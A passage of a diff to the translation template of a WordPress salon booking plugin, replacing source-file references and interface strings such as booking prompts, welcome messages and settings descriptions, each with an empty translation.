..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTimeFunc.php:441\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:441\n+#, php-format\n+msgid \"Week %s\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:29, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:29, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:29\n-msgid \"Page verification failed\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTimeFunc.php:434\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:434\n+#, php-format\n+msgid \"week %s of %s\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:67, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:67, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:67\n-msgid \"Update completed with success\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInit.php:772\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInit.php:772\n+msgid \"Weekly\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:78, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:78, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:78, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:78\n-msgid \"Update reset with success\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:383\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:384\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:191\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:192\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:383\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:384\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:191\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:192\n+msgid \"weeks\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:81, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:81, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:81\n-msgid \"Invalid Email in Salon contact e-mail field\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:5\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:5\n+msgid \"Welcome back \"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:162, src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:170, src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:177, src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:187, src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:197, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:162, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:170, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:177, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:187, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:197, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:162, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:170, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:177, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:187, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:197, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:171, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:188, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:187, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:197, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:187, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:197\n-msgid \"The cron schedule cannot be created. Please try updating the settings again.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:55\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:55\n+msgid \"Welcome to Salon Booking\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:76\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:111\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:148\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:183\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:76\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:111\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:148\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:183\n+msgid \"Well done! Your import has been successfully completed.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:162, src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:170, src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:177, src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:187, src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:197, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:162, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:170, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:177, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:187, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:197, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:162, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:170, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:177, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:187, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:197, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:171, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:178, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:188, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:187, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:197, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:162, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:177, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:187, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:197\n-msgid \"Cron Error\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Ftranslate-constants.php:2\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FServicesStep.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FServicesStep.php:79\n+msgid \"What do you need?\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:238, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:238, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:238, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:239, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:238, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:238\n-msgid \"Test sms sent with success\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPrivacy.php:71\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPrivacy.php:71\n+msgid \"What personal data we collect and why we collect it\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:246, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:246, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:246, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:247, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:246, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:246\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:117\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:117\n+msgid \"Whatsapp customer\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:8\n+msgid \"When\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:32\n msgid \"\"\n-\"Hi [NAME],\r\\n\"\n-\"take note of your reservation at [SALON NAME] on [DATE] at [TIME].\r\\n\"\n-\"See you soon.\"\n+\"When active even the \\\"Payment pending\\\" reservation need to be published on \"\n+\"Google Calendar.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:250, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:250, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:250, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:251, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:250, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:250\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:232\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:232\n msgid \"\"\n-\"Hi [NAME],\r\\n\"\n-\"your reservation at [SALON NAME], has been updated.\r\\n\"\n-\"We've sent you an email with the details.\"\n+\"When checked the option \\\"Choose an assistant for me\\\" will be removed on \"\n+\"front-end Assistants selection step.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:255, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:255, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:255, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:256, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:255, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:255\n-msgid \"Hi, the new reservation at [SALON NAME] on [DATE] at [TIME].\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php:90\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FDateStep.php:90\n+msgid \"When do you want to come?\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FHomepageTab.php:10, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FHomepageTab.php:10, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FHomepageTab.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FHomepageTab.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FHomepageTab.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FHomepageTab.php:10\n-msgid \"remember to customize your settings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:32\n+msgid \"\"\n+\"When enabled, customers can book services that start during another \"\n+\"service's break period. This applies to all services that have a break time \"\n+\"configured.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FHomepageTab.php:11, 